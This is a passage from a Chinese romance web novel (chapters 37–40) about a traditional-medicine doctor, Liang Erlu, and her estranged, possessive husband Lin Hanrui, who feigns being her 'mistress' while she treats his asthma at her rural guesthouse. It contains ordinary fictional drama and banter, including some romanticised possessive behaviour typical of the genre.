得亏林瀚睿碍于哮喘逃不快,梁尔璐轻易给堵进墙角,食指轻点他捂嘴轻咳引起微红的鼻尖:“除了大提琴,我还会很多乐器,其中包括箜篌。”
“箜篌演奏里有个技法叫‘弹弦’,用力弹单独的一根琴弦,就像是弹人额头的动作。”
说罢,她也这么做了:“痛吧,你活该。”
男人干脆利落地点头。
近距离注视林瀚睿这双纳入桃花眼中的琥珀色浅瞳,清晰可见分秒聚浓的旖旎变幻。
梁尔璐匆匆垂眸,视线没再往他呛咳导致的眼尾湿润处逗留,三两步退着转身离开:“你随便找间二楼的房休息,别来烦我。”
这一退,她获得整下午的安生。
需要收尾工作的林瀚睿下楼稍晚,却仍赶在饭菜转凉之前。
梁尔璐在夏季向来对一日三餐没多少胃口,除非是冰凉且甜口,因而不常动筷,单纯瞧他慢条斯理的吃相:“你还是这副挑食的幼稚样,全吃下去,否则明天饿肚子。”虽然算比他女儿好伺候。
“我看你气滞血瘀,也失眠,连滋补肺脏的党参都必须忌口,很烦,我迟早要把你治通了,让养肺容易些。”
眼瞅林瀚睿满脸叛逆,抬头将出声,她打断:“千万别跟我说,你们哮喘病人吃东西不能过饱,需要少食多餐,睁大你的眼睛,我做的量已经够少,吃光。”
“今后,我每天早晨都会带你练气功,五禽戏、八段锦、太极拳等等等等,晚上呢带你散步,全天候监督你喝水跟食补。”
林瀚睿攥紧筷子。
前几任私人中医对他拒绝这些疗养手段的态度从来不敢反驳。
算了,谁让是梁尔璐。
“我要上班,居家工作也忙,不一定每时每刻有空。”
“理解,我也是工作。”
林瀚睿忽然不乐意退让:“你能不是工作吗?”
“你能别做梦吗?”梁尔璐压了些嘴角。
只是工作。
难道要是爱?
倘若没四年前那场骗局,林瀚睿这辈子哪怕仅一秒,也无法得到她的爱。
“还看我做什么?低头吃饭吧,你该知足了。”抓不牢的情绪似乎滚成了团乱窜着,梁尔璐瞭他几眼,“我也不是在和你吵架,反正。”
氛围怪就怪了,何况他们本不属于能和谐相处的关系。
“那你也别看我。”
嗯?
受到提醒,她才察觉自己目光时刻紧随林瀚睿吃饭的动向。
“我怎么不能看?这是监督病人吃饭!”拿身份压人实在顺口,她微笑挑衅面色平静的男人。
“必须吃光,对你身体好。”确定再待下去真能由她单方面吵起架,梁尔璐扭眉上楼。
拖鞋
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踩楼梯的声响未加掩饰,林瀚睿耳听这清楚分明的脾气。
火气未免有些大,无奈得他下意识提匙子舀汤,搁碗沿纳凉之际,遭楼上掷来的一句怨怼话颤了手——
“林瀚睿你个混蛋!要是敢不吃光试试看!”
他张望天花板的监控摄像头,低头琢磨着凝看些微溅在桌面的汤汁,麻利抽纸巾擦干,权当无事发生。
没了这几滴,再怎么光盘都不算吃光吧……
*
距离洗碗已过个把小时,林瀚睿总感觉双手干涩,该是用多了洗洁精,好不容易鼓足勇气向梁尔璐索要护手霜,却久不见她回消息。
忍住皮肤处因心理作用出现的难受,他往被褥轻擦一阵痒意,转而玩起手机转移注意力。
查阅可知,收银台上的诗歌原版长达十多句,未被梁尔璐刻在木板的剩余八句,与前七句相较,并不算幸福。
他错手点到人声朗读,是女音。
“而朝我迎来的日复以夜
却都是一些不被料到的安排
还有那麽多琐碎的错误
将我们慢慢地慢慢地隔开
让今夜的我终於明白
所有的悲欢都已成灰烬
任世间哪一条路我都不能
与你同行”
愣之间,房门遭敲响。
怀抱被子与枕头的梁尔璐递过一管护手霜,假装踹他:“干嘛堵着?我对男小三没兴趣,单纯是怕你梦游,更何况夜里容易发作哮喘。”
待床边打好地铺,她洞进被窝,疑惑异常沉默的男人:“你不开心吗?不是说看见我就开心?”
“收银台那首诗……分手前,你遇到了什么事?和你之前惊吓过度有关?”
梁尔璐骤愣,随即绕开他探究的眸光:“你想多了,我只是把喜欢的一首散文诗融入民宿理念,如果真有什么,我会让你走进民宿?快睡吧。”
“真没什么。”不顾林瀚睿着急脱口的追问,她提前掐断,上前取出睡衣口袋内电话圈形状的伸缩防丢绳,将一端扣他手腕,“你梦游下床的时候别踩到我,去,关灯睡觉。”
灯熄得利落,窗帘虽未完全拉拢,梁尔璐仍辗转侧睡,蜷了身子以免他绊倒。
老远赶地图地折腾大半天,她是真困,没承想林瀚睿这狗东西捣乱,愣把她抱上床,自己则坐旁边不动了。
“可是男小三对你有兴趣。”
“小三,你姿色平平,勾不到我哦。”黑灯瞎火的,她胆子比鬼大。
数天观察以来,林瀚睿但凡没犯病,都足够温柔地尊重她意愿。
更别说她这纯粹是在逗她玩……倒是夜精神。
“说错了,我对你睡的地铺有兴趣。”
揉弄惺忪双眼,梁尔璐怔怔望他平和的面庞:“所以你还有事吗?”
“和你老公感情不好。”
那她和林瀚睿确实感情不好。
“那就和他离婚。”
不知从男人装失忆的口中听过几次这话了,梁尔璐轻笑:“是感情不好啊,但他现在拼命挽回我,所以我决定暂时不离了,我要玩弄他,报复他。小三,你千万不要告诉他,等我满意了就会和他离婚,和你结婚,怎么样?”
林瀚睿竟也发笑,极短促,掺点自嘲的意味:“万一你在这期间重新喜欢他?”
“你觉得有可能吗?不过抛开他犯的那一个错误,人是挺不错的,对我很好。”有些事实,她永远无法忘怀与辩驳。
“所以有可能。”
是吗。
抛开内心对这问题的追究,梁尔璐搭睬他半眼:“我想睡了,祝你好梦。”
狗东西倒是真敢想啊。
做梦去吧。
薄被压覆出女人背对侧躺的清瘦身形,林瀚睿敛眉。
无论是否真有这么一天,他都得抢。
势必要让那个欺负梁尔璐的狗男人变成前夫哥。
失眠严重,虽已足够困乏,横竖睡不着,他解开防丢绳,俯身替梁尔璐解开时见人已轻度入睡,夜色的辉光淡落在她手腕发红一圈。
林瀚睿顺势摸向扣带的内层,与他这一端光滑的相比,做工极是粗糙劣质。
只是工作吗?
没见过有谁家私人医生工作到这种程度的。
38.夏日
林瀚睿失眠到早上,期间略显恍惚的闭目养神算是睡过。
可能睡饱的人起床后话多,梁尔璐离开卧室之前特别爱唠。
“绳子怎么在墙角?又梦游了?梦游都这么聪明?不准聪明!应该没游死吧?有气有气,差点把身价千亿的总裁,哦不……董事长养死,服了,娇气港爷比中草药还难养。”
她倒是误会了。
董事长与总裁都是他。
下楼没发现人在家,厨房的玻璃门面贴一张字条。
【我今天会很晚回,早饭是山药花生粳米粥+甜鸡蛋羹(我问村里人零元购的土鸡蛋和山泉水)+阿胶糕】
他翻页。
【我算知道你为什么常年被一堆医生养着也还是这副病样了,太子爷,他们没人敢忤逆你挑食吧,落我手里了吧?我警告你,吃!!!你气血两虚,特别多的食补方子都用不了,我真烦死了】
反正死不了,林瀚睿佩服医生的信念感,陆续端出保温中的碗碟到附近岛台,他纯粹打量。
门铃适时响,一楼的落地窗外片刻便出现翁秘书的身影,携带一身他指名需要的服饰。
翁秘书暂时将物件放客厅沙发,冲上楼梯:“谢谢,我吃过了。”再也受不了替挑食的老板吃饭,清淡伙食并非他口味。
而老板丝毫不抬眼,只眉目含笑地舀粥:“从今往后,我都自己吃。”
梁医生果然能制裁这位难伺候的爷,翁秘书瞬间感恩戴德。
逛遍偌大一个民宿所处的中草药种植园,他随林瀚睿上班,此前,生意伙伴没让他们清早接机,称是去酒店附近的商场碰面。
到时,他几次三番揉眼睛,生怕看错了。
二楼儿童乐园中,正与小女孩玩闹的外国男人形貌出众,频频引旁侧目。
翁秘书竖直了双耳,确定没听错声声雀跃的“爹地”,至于被唤“妈咪”的对象,是与男人对视相笑的梁小姐。
等等……所以这位堪称老板翻版,家族钱权并拥,婚恋状态扑朔迷离,零绯闻到令长期捕风捉影失败的媒体失去了自信的富n代,竟是和梁小姐隐婚了?
翁秘书转看老板,见他面色平静地注视这一家三口。
林瀚睿久望父女俩身后逐渐淡褪了笑容的梁尔璐,微微垂头拢眉,贝齿咬唇。
他清楚梁尔璐只愿避开他们这类层级的富家少爷,看来之前也没猜错,她是被男人欺骗到了结婚的境地。
亲昵靠父亲肩头的女孩长得并非混血模样,反而像与母亲一个模子刻出来,不过混血宝宝生这种样貌的可能性也正常存在。
细看久了,林瀚睿抬手摸自己鼻尖。
怎么感觉鼻子像他的?
该说不说,还得是他和梁尔璐有夫妻相。
察觉老板用指腹上推一些眼镜,翁秘书轻声:“Hendrix,你不会是想喜当爹吧?”
“那孩子不像我吗?”
“开玩笑,和你们俩男的都不像,最像梁小姐。”
“所以,就是我的孩子。”
什么?
翁秘书如鲠在喉:“不是哥们,你这?”好像还想当小三……
他压惊转头。
一家三口其乐融融,男人拿出个滑滑梯周围遍地肆散的白色小球,递给梁小姐,她初时疑惑,随即伸手接取,谁知对方任由轻飘的球体下落,另一只手从身后挪前着替她戴上珠光宝气的手镯,顺势拥抱。
梁小姐却并未抬手回应,神情愣怔。
虽很快被放开,梁尔璐傻眼:“Ludwig……啊不是,Loewenstein。”
她总忘记用人国家更推崇的姓氏称呼。
“就算你叫我中间的von也行。”
这倒是夸张了。
手腕发沉,梁尔璐头大。
戴陌生镯子回家,林瀚睿又会阴阳怪气。
女儿此刻活像复读机,张口闭口就是“爹地”,得,头有两个大了。
她认识Loewenstein的契机无非是医患日常,经过普通的望闻问切,完全说准了男人身体状况,他就此佩服中医文化,由感激她迅速快进到想成为她爸妈的亲儿子。
此后但凡他暂留中国,便风雨无阻地天天到医院找她,惹得同事们误会,齐刷刷教当时一岁多的女儿说话,喊人爹地。
日复一日,梁尔璐才知晓女儿这便宜爹地是国外的老钱家族继承人。
“Loewenstein。”
“oh,Hendrix。”
旁侧响起的男声熟悉,她下意识捂脸,跑远去女儿在的位置。
余光收着二人礼貌握手的景象,梁尔璐抱紧好奇张望身后的小姑娘:“双双,L叔叔真不是你爹地,你要记住有自己的亲亲爹地,他是中国人,也很帅的,有时候很漂亮。”
“哦。”梁卓熹语调丧气。
真别再乱叫其他男人,否则她死定了。
梁尔璐也清楚女儿听话,无非是长期见不到亲生父亲,嚎两声假爹来过过瘾。
其实该走了,可Loewenstein声称为她准备齐全晚宴所需的满身行头,这种金钱堆起的人情,欠着就算了,问题是她前阵子已经答应这事,眼下再推脱未免太离谱。
林瀚睿循着生意伙伴投向母女俩背影的视线。
“我会和Aria一起出息晚宴,Hendrix,次次没见你带过女伴,今年也是?”
比Loewenstein更快地收回目光,他付笑应声:“对。”
“如果我没记错,你也快三十了?有妻子就带出来,我会按你们的习俗,送个迟到的大红包。”
窗外盛意舒展的阳光足显炽热,属于不会令梁尔璐发丝潮湿卷翘的好天气。
林瀚睿投望玻璃的注意力,自然而然掠过她及腰乌漆,之前也不见生意伙伴如此多话:“还没,结婚一定邀请你。”
“OK,那我能带Aria去酒店吗?谈完工作,我要和她父母吃饭。”
“当然可以。”
翁秘书持续盯地。
总感觉老板想杀人了。
他谨言慎行,战战兢兢到入夜。
犹记得白天,商场距酒店的短暂路程中,车内窄窄一方的后视镜不知遭老板冷峭眼风刮过几次,偏生梁小姐坐于主驾驶后边,能轻易捱受副驾驶位这似有若无却存在感极强的凌厉攻击。
冗长繁复的酒店会议中,Loewenstein先生趁休息间隙见缝插针,特意亲自给待卧室的梁小姐送去蛋糕,期间连身处客厅的他们也听见了一声嘹亮“爹地”。
翁秘书住脑。
再多回想一秒,都得做噩梦。
他望眼觥筹交错的晚宴会场,梁小姐正眸色熠熠,往空了多回的碗盘里重新排摆甜品。
梁尔璐绕回安静的老角落继续吃,抬头望看大荧幕固定显示的“赛蒂菲尔酒店·腾先地产友好三十周年慈善晚宴”。
梁奕珩的书画作品也在拍卖行列,不过他推了宴会邀请,当初她问着原因是“碍眼”。
如今她悟了。
梁大师与林老板相看两厌。
两个幼稚鬼……
后悔拿少了歌剧院蛋糕,但梁尔璐嫌走几步也累,只能小口咬剩余的,感知到身旁又有男人坐下的动静,她不耐烦搬出杀手锏:“先生,我已婚,老公就在现场哦。”
“你总叫女儿什么?那个叠词。”
化成灰都能听出来的林瀚睿声线,她骤然转头:“双双,两个又。”
“双双。”
“果然,Loewenstein的姓和名都是L开头。”
打量男人神色笃定的脸容,梁尔璐沉默。
那她还说林是双木,梁与林两个姓氏里都带木字呢?
狗东西又开始演男小三了!
稍动鼓囊的腮帮子咀嚼,梁尔璐低眸哼声:“醋喝饱了吗?先让我吃饱了,你再欺负我。”
“小三能欺负你什么?”
“你还挺有自知之明,那这是你自己说不欺负我的啊?我可以相信你吗?”
惟独听他但笑不语,卖关子似地缓缓才添:“怎么?你还敢相信我这骗子?”
巧克力混合咖啡的口味瞬间浓烈泛苦,梁尔璐垮脸。
“吃一口。”
“嗯?”确定林瀚睿正拿眼神示意最后小块的蛋糕,她心生不舍地缩缩手。
走过去再拿几块,也太远了吧……
迅速收敛左顾右盼的鬼祟劲儿,梁尔璐利落喂给他,倏地低头坐远些。
“像偷情。”
男人起身离开间,落来这掺了笑的三
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字。
行行行,可能她就是容易被林瀚睿戏耍着上当的体质。
*
搬回家的奢牌手提袋多了些,双手勉强够用,梁尔璐搁玄关踢掉高跟鞋,礼裙因此曳地,艰难走稳楼梯。
松口气之际,乍一眼与站靠她卧室门口的林瀚睿对视。
雪亮廊灯下的眉眼郁沉,周身气质散发不耐,显然是等够久。
嗓音倒是没忘忍出教养:“夫妻感情不好也这么难舍难分?今天氛围如此好,没决定结束分居?你老公知道你金屋藏娇吗?”
“你烦不烦?”还演!还演!
“那你以后不准见他。”
直面他不容置喙的眸色,梁尔璐迎难而上:“过了四年,你还是这副神经病德性。”
“我就是这德性,到死都改不了,既然对你施软的没用,我也没什么耐心。”
喉口顿时窒,她欲言又止。
这次再敢关她就报警。
做足鱼死网破的准备,却听林瀚睿打哑谜般:“梁奕珩那件事,我能解决得一劳永逸。”
梁尔璐琢磨几秒才意会。
两年前她偶然发现梁奕珩长期被父母家暴的伤痕,可始终装没事人,从不主动对外求助,导致她无法帮衬。
“不离婚也随你,反正是已经破裂的婚姻,我是小三,你不爱我,你不爱丈夫,他和小三无异。”
“你这一身犟骨,我喜欢养在身边。”
男小三游戏还真就玩上瘾了,梁尔璐没眼看林瀚睿煞有介事的装腔:“那好,你要我做什么?”
他几乎是毫不犹豫,似在心底已假推千百遍,完全预料到此情此景。
“我要你做东北酱骨头给我吃。”
“你那些治病的食补过分清淡。”
“别后退,你知道我不喜欢。”
“没听错,我不对你做别的。”
梁尔璐眨巴两眼,挪回原位。
不再与她平淡迂回的林瀚睿,真挺吓人。
“工作签证到之后,你不用住林家,去我名下房产,方便带你女儿一起生活。”
下命令的无情口吻……
“等等。”她有些搞不懂男人的逻辑了,又要她,又不要她同住,“可工作协议上说我必须跟你同进同出。”
“除了突发事件或每年固定的家族活动,我从不住林家。”
目及梁尔璐满意点头的模样,林瀚睿咬抵一瞬后槽牙:“又是工作。”
“那你需要知道同事的消息,我没让谢柏延按合同要求工作。”
梁尔璐回神才意识到谢柏延这些天确实从早到晚都没跟在林瀚睿左右。
她以理服人地讨价还价:“那你不能区别对待,他西医可以例外,我中医也行,不想和你住。”
“梁奕珩。”
轻巧三个字的威胁便死死控住了她,梁尔璐气恼:“骗子!我要旷工,旷工一年!”
女人长发间夹扣了璀璨耀目的珠宝饰品,林瀚睿渐次下挪视线,落向耳环、项链、手镯,继而重新交汇梁尔璐的眼:“把你这身碍眼的东西换掉。”
收她满瞳孔的倔强目光:“知道你手痒,亲自给我换啊。”
“你为了梁奕珩,原来可以做到这种程度。”
梁尔璐疑惑他冷漠撂话便走的背影。
哪种程度?
突然又扯到梁奕珩了?
她怎么什么都不知道?
狗东西哪来的飞醋天天吃啊?
嫌弃着,却见林瀚睿大步折返。
停她一步之遥之地,就近牵了手进卧室:“你自己说的。”
被按坐去床沿,梁尔璐也不挣,任他摘卸首饰。
总算得以放落双手提拽的重物,她垂眼轻揉指关节:“你正常点,我害怕,这不知道的还以为我刚才是要用上床和你交换帮珩仔的事。”
“我不喜欢和你上充满利益的床。”
哪能听不懂言下之意。
“对我没半分感情?”
发型是低盘在后脑勺的款式,头发的左右上三侧都夹着不少与耳环样式配套的钻石发卡作衬,因而拆散费时,林瀚睿动作好一会儿才倾身,替她解项链。
二人尽在咫尺地交颈,似耳鬓厮磨。
梁尔璐偏头,拉开些许受限的距离:“有。”
39.夏日
“我又不是石头做的,忘不了你对我的好。”
想必林瀚睿能听懂这言下之意,总之她是真无法忍受打着爱慕旗号的欺骗。
失去耳环坠扯的耳垂持续酸涩,梁尔璐愈发低眸一些,男人替她退首饰的动作没停过,摆放床沿的钻与珍珠光华夺目,在余光内盛绽。
“我记得你家公司是855工作制吧,明天暂时放过你练气功,你多睡睡。”其实不论林瀚睿做得好坏,她连这种稀松平常到无关紧要的小记忆点都深刻。
但骗子就是骗子。
“我没梦游症,只犯过你知道的那次,哮喘也算轻度。”
总有病人心存侥幸,梁尔璐见得多了:“万一呢?”
碍于高度差,林瀚睿蹲她腿侧取着手镯,令人看不清他覆于眼帘下的情绪。
答应和好无疑能使他精神状态好转,可梁尔璐不愿意退让这一步。
转头之际,她猝不及防撞入男人掀抬的平静双眼。
腕骨处搭了林瀚睿的几指,虽未触及起伏的脉搏位置,梁尔璐却倏忽感觉呼吸停滞在他指腹下。
“问题是我绝对不会让你睡地,这里是民宿,没双人大床房?”
她醍醐灌顶地点头,居然完全忘了。
“我是该说你傻吧。”
“别惹我。”梁尔璐略微仰头,对弯了唇调侃的林瀚睿递过一把眼刀子,“才七点多,我要带你饭后散步,你也快去换身衣服。”
难得日落偏晚,太阳仍没下山,天光如昼。
村子附近有个刚建两年多的新小区,前后左右的四车道因此打造不错,多的是人饭后绕走或跑几圈。
而林瀚睿怎么都没想到梁尔璐在客厅坐轮椅,怀抱一大桶的红糖麻花,此刻停了拆独立小包装的动作,眼神示意他推轮椅。
“你嫌丢人不肯,那就我来,万一你中途木僵?”
林瀚睿欲言又止。
在理,可他这两天老实吃药,瘫不了……
室外的风还算爽利,他逐渐习惯回头率百分百的处境:“你别光给我食补哮喘,能煎中药吗?那些精神类西药能让人发胖,停药会复发,我想减量。”
“那你喝三个月左右,中药吃多了也有副作用。”麻花满裹的甘蔗糖浆香甜,梁尔璐知道他说的西药基本都特别苦,“先别太担心,你再胖一点也是好看的。”
可惜她买的红糖麻花甜度黏牙,不适合林瀚睿这可怜鬼的喉咙。
那就买咸口的肉松麻花。
行动力上头,梁尔璐迅速开手机下单几罐,切换收货地址时听林瀚睿打趣像是进货一般。
她承认从不在买零食方面亏待自己,可到嘴的话却拐了个大弯:“这样你也能吃啊。”
正打算装傻充愣地略过这突发事故,梁尔璐却被加速跑近的俩女人包围,险些吓飞了手机,下意识侧身抓紧林瀚睿攥在轮椅握把的手:“啊啊……你们有有有事吗?”
“我们老板在那边摆了改妆的摊位,她是有百万粉丝的美妆博主,因为在直播,不好开天窗,所以能不能麻烦你?”
她没戴任何眼镜,眯眸望向对面距离过远的小区门口:“我刚卸妆。”
谁知二人锲而不舍:“那要不……这位先生?”
“别,我吧我吧!”梁尔璐嗓音扯得着急。
这位先生有哮喘,万一吸入彩妆细密的粉末。
摊位有模有样,她不太好招架自来熟的美妆博主,尽力用微笑应对。
“漂亮姐姐放心,我用的全是大牌,一看姐姐的五官和骨相就适合港风妆容,平时化过吗?”
“平时港风和中式多一点。”
“姐姐你还有可爱兔牙,我要把你爆改成甜妹!”
这都能改?
梁尔璐瞬间捂嘴。
也瞬间发现坐身旁轮椅内看手机的男人,将目光投给了她,漾声轻笑。
博主自然听得见:“哥们,我送你一个甜的女朋友。”
“她性格本来就甜。”
这眉眼含情的齁甜恋爱样……
博主稍愣:“坏了,怎么感觉便宜哥们你了。”
“嗯,我的荣幸。”
梁尔璐原本百般佩服林瀚睿这i人秒速融入e人圈的实力,此刻生怔。
他四年前也说过这句话。
趁博主转身拿工具的间隙,林瀚睿依次向她递过掰成一半的两段麻花,梁尔璐回神,垂了眼吃进,在直播镜头前掩嘴快嚼。
“我去给你买果茶。”
含糊应他,梁尔璐稍望走向小区一楼商铺的背影。
“帅啊,她男朋友的脸比手更绝。”
随博主的视线,梁尔璐也扫视直播间弹幕。
怎么都羡慕林瀚睿皮肤白呢……她都已经被这种病态的白整无奈了。
拎着杯荔枝冷萃茶回摊位,林瀚睿入目是美妆博主站开后才能见到的梁尔璐,面部整体呈粉调,眉眼弯弯,明眸皓齿,唇妆一如糖渍草莓般晶润。
是免费改妆,梁尔璐在道谢,临走又往摊位桌子放下几掌心的麻花,双方甚至凑头交流了零食链接。
推她重新散步小会儿,林瀚睿接堂妹的电话。
女声激动:“Hendrix,你上新闻头条了!”
“这么快?”他还没通知翁秘书将直播的截图与切片视频进行传播。
林家话事人戴的戒指果然是标志物。
听筒内延续一段沉默:“你这个心机男!我要是Aria姐姐,打死你!”
通话戛然而止,林瀚睿俯眼。
梁尔璐正喝奶茶,哐哐一顿自拍。
不,他的Aria只会以为是偶然事件。
*
翌日,梁尔璐赶了农贸市场的早市,制作酱骨头所需的辅料繁多些,半道却发现天落雨,便就近待一家糕点铺旁暂避。
林瀚睿带伞找来时,她已帮老板管了蛮久的店,实在意外:“你找了我多久?”
“你喜欢吃这些,就试试运气,我也去过面包店。”
男人身拢潮湿,散额头的发绺未经上梳打理,软顺触肤。
令她羡慕的发质。
梁尔璐感伤,作缓咀嚼:“面包好吃,但我选马蹄糕,你进来啊,站外面挡客了,这是椰汁红豆糕,吃吗?我还买了芝麻糕和红豆糕。”
搬过另一把塑料椅,林瀚睿注意到店内桌子上摆了些吃食,旁的尽是荤素菜色,其中不乏活到挣动袋子的鲜鱼。
“你要回家养鱼?”
“不愧是太子爷,我是该说你傻吧。”梁尔璐用他昨晚说过的话原封不动报仇,“雨天买鱼会便宜的,正好今天鱼质量也都不错。”
她掰断一截糯糯的糕,递给林瀚睿。
店铺靠近菜市场的某个出入口,闷湿的雨噪淅沥频响,轻易跃入耳内。
虽时值早市,但不缺顾客,她眼睁睁瞧着林瀚睿起身帮忙招呼,对方想买一斤红豆糕,这大少爷当即转头予她疑惑脸。
不懂干活还积极抢活……
梁尔璐走近示意切法:“这么宽,这样切一整竖条。”
“后生仔,没你老婆能干啊,多学学帮着她点。”
金贵太子爷是这样的,她冷静胡诌:“阿婆阿叔,我们是姐弟。”
“那做弟弟的也不能偷懒。”
林瀚睿确实正勤快切糕,刀功却生疏得可怜:“我老婆每次吵架了就会和我做姐弟。”
咽下他这招杀手锏导致的哑巴亏,梁尔璐无语。
眼看老板打不远处回来,她转身拎走桌面的一大袋子便离开。
晓得人气恼,林瀚睿攥伞追上,刚意欲措词解释,只见她等在出口的屋檐边,扬笑接过了沉甸的袋子,他撑开伞。
“你真的特别厚脸皮。”梁尔璐也不明白为什么自己气饱了,却仍吃得下糕点。
狗东西竟还实诚地应声。
没错,她就不该搭理林瀚睿。
雨势由风裹挟着斜潲,胜在路近,能少受侵扰。
先前出门时,自家中草药种植园周围还没身穿黑西装的一众人等巡逻。
“你的保镖们真辛苦。”梁尔璐见怪不怪,横竖懒得当回事。
看在林瀚睿吃光早餐的份上,她消气,至于这家伙点名想吃的酱骨头,预先处理与烹饪又算费时,午饭因此迟了些。
小心翼翼将这道肉菜从厨房端到餐桌,她打量对阵似的父亲与林瀚睿。
一方凛眉:“你怎么在我家!”
另一方失措:“我住在这……”
“很奇怪吗?我爸当然隔三差五会来这里,否则你以为这么大一片中草药,真靠它们自己吸收天地精华,放养?”梁尔璐再度语塞,强行出声,“爸,你要留下吃吗?也带点菜回家给妈咪。”
“没胃口,你解释清楚。”
“医患关系,带他到乡下舒缓心情,利于治病。”别太健康的
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关系好吧?
梁清泗半个字不信:“妹仔,你最好别给我治到结婚,这小子休想进我们梁家的门!”
梁尔璐寻思早几百年前就结了:“不会不会,您大可放心。”
养了将近三十年的孩子,梁清泗能哪瞧不出她眼下这敷衍态度?更何况林家小子长得跟狐媚子似,完全符合女儿对异性的审美。
他抄起手中长梯般折叠着的晾药竹匾架,顺势打向男人的小腿。
第一下过分猝不及防,梁尔璐看傻了眼,赶忙拦林瀚睿身前:“爹地!爹地,别生气!”
“还说不会!你居然为了袒护他,破天荒叫我‘爹地’,让我高兴?”
嘴太快,她无从辩驳,正愁怎么转圜这恐怖发展,身后扑通一声,伴随“对不起”三个字。
父女俩皆愣。
“你起来。”
“我爸让你起来啊!”怎么都拽不起男人,梁尔璐干脆放手,面向父亲,“爸你冷静,我觉得两户人家有什么恩怨是你们上一辈的事,如果他在这件往事上有做错任何,按他性格是绝对不会来靠近我的,所以我确定他是被无辜牵连的那个。”
“至于我和他之间,你们也什么都不了解,而且无论你们说几句都没用的,我自己心里最有数,最清楚该怎么做。”
父亲更迭的表情不难理解,她清楚父亲其实都明白,无非是气不过。
“所以我不是让他起来吗?”
叹息随男人离开的背影远去,梁尔璐扶起林瀚睿:“你道歉?你家里人道歉了?轮得着你?吃饭吧。”
“如果你爸知道我骗你的事,我也应该道歉挨打。”
简单捋了裤管查看伤患处,她松口气,教训他知错的歉疚神情:“哦,所以你就躲也不躲?总之他现在还不知道,就不能打你。”
一时不太适应林瀚睿的沉默,梁尔璐扯话题:“那你现在回来纠缠我,是觉得虽然骗了我,但罪不至死,还能死灰复燃?”
许是话语刺挠,引得他抬眸,眼瞳如明珠蒙尘般黯败:“在我犯的这个错面前,我还能有厚脸皮的资格。”
意思是两家之间那件事造成的后果极其严重。
她连忙摆手,瞥眼低头操作手机的男人:“停停停,我不想吃瓜,腿还疼吗?”
“你有空关心我,不如吃自己的瓜。”
“笑话,我能有瓜?”狐疑点开他转发的新闻,梁尔璐目瞪口呆。
什么叫“功夫不负有心人,成功破获腾先地产金屋藏女案”?
好夸张,不就是媒体多年以来终于逮到林瀚睿身边有女人了么,但怎么越读越怪?
“喂!几个意思?我是什么杀人悬案里的女尸吗?”她服了,港媒是真十年如一日得幽默。
咬牙切齿倒扣手机,梁尔璐瞪视忍俊不禁的林瀚睿:“和太子爷出门太危险了,可你不打算考虑处理这夸大其词的标题党?怎么就像你家哪个楼盘闹出命案了一样……”
“难道不是你的民宿出命案?”
哦,是的。
不愧是记者,已经知道他们住这,难怪太子爷的保镖隆重上班。
“那你不澄清吗?”干脆直说他们已婚四年得了,给港娱一点小小的震撼。
“小三能澄清什么?”
确定没听错,梁尔璐微笑面对林瀚睿尽显惋惜的委屈脸容。
这么爱演,她也配合:“万一我老公来找麻烦了怎么办啊?他是成天拈酸呷醋的妒夫。”
林瀚睿倒是意外Loewenstein也是妒夫:“我会对你老公说晚安。”
“你有病啊?”
照单全收梁尔璐看神经病似的嫌弃目光,他添话:“我早晚安排人弄死你。”
“哦哦,是这个陈年老梗!”她笑出声,“遵纪守法。”
“好,我换一句。”
“我会和你老公说,一直很尊重Aria,有交往,有视频,有故事。”
又一个林瀚睿不断网的证明,梁尔璐忍住过多的笑腔:“小心我老公对你说晚安。”
“我昨天等你睡着之后,偷偷对你说了晚安。”
“太子爷饶命。”话题骤转,她听懂却装傻。
桌面盘碗交触的菜式尽数冒热息,林瀚睿用筷子轻易分开挂满了汤汁与肉丝的脊骨:“你真难哄,比这酱骨头更犟。”
梁尔璐不客气搛吃他剔下之后夹来碗内的几大块肉:“那你可以不啃啊,小馋猫。”
40.夏日
见男人没再搭腔,只默声啃骨头,她指骨扣桌:“你下午打扮得靓一些。”
“去哪约会?”
几乎是无缝衔接的答复,梁尔璐顿时语塞。
“恋爱脑没救了!”她并未收敛与林瀚睿对视的嫌弃目光,“是我们该撤离了,但要用美貌出圈的方式隆重撤离,丈夫的容貌,妻子的荣耀,记者爱拍就多拍。”
“我只是小三。”他揪中关键字眼便纠正,脸容郑重。
梁尔璐再度无语,满足他的戏瘾:“小三的容貌也是有夫之妇的荣耀。”
多少是不解林瀚睿从对面坐来她身旁的意图,但也不加阻拦,中央空调正常运作冷气,烘近的几分热意因此能被清晰感知。
她搁置筷子,侧倚些身体,顺势挪远了朝向男人的手肘。
视线落在她弯曲小臂而愈发突出的关节尖骨,林瀚睿浅淡打量一番这充斥抗拒意味的防备姿态,抬眸:“无论如何,在记者眼里,我们就是在约会。”
“你不喜欢吃玉米羹了?”餐桌上唯一没经她碰过的菜。
“嗯,现在不喜欢了。”考虑到林瀚睿的体质,梁尔璐特意没往里放瑶柱与蟹肉,自然也就失去胃口。
明显是听懂了她言下之意,男人端碗舀起一勺,喂近:“梁奕珩。”
不沾荤香的鲜甜到底缺乏太多口感,她皱眉忍耐每勺。
“你是真的不会照顾人,把调羹拿出去的时候别磕到我门牙啊。”其实不算兔牙,纯粹有点长度,梁尔璐闭嘴缓缓撞击感的余韵,“我自己吃就……”
林瀚睿却整副不可撼动的执拗劲。
她暗暗腹诽几句,不情不愿地直到由他喂空了碗,陶瓷碗底触碰玻璃桌垫的响动算轻,却重得莫名令她心悸。
“以后每顿饭都必须有它,吃到你重新喜欢为止。”
横竖逃不过,梁尔璐决定讨价还价:“那你自己做。”
“当然。”
整碗稠稠的羹下肚,她感觉饱了,忽视林瀚睿无事发生一般的平和神色,她也气饱了:“你到底什么时候帮珩仔?”
“等我啃完酱骨头。”
耳听男人意有所指的话语,梁尔璐惹急抓他搭于桌沿的手臂:“我已经答应你一起住了!”
却久久只见他波澜不惊的容色,疏淡眸光静置般凝在她这五指,仿佛面对着与己无关的事。
出声流露的情绪却不如此,虽仅是平平陈述。
“你就这么心疼他。”
“你心疼他,当初就不该心疼我,不该三番五次地心疼我。”
“四年前,我给过你不止一次离开的机会。”
“可哪怕是这样,你还要爱我,那我就理所应当……成为你的噩梦,让我的妄念成真。”
他顾自打破沉默:“你,心疼我到底。”
“没有人和事会一成不变的,你不讲道理!非得逮着我薅吗?我肯定不是唯一对你好的女人。”
可林瀚睿丝毫没回应她这句话的意思。
“知道我来这之后失眠的每晚,是怎么度过吗?”
无理取闹的家伙。
梁尔璐甚至连脑袋都懒得摇。
“在床头看你睡觉的样子,你总能同个姿势到天明。”
那谁还忍得了?
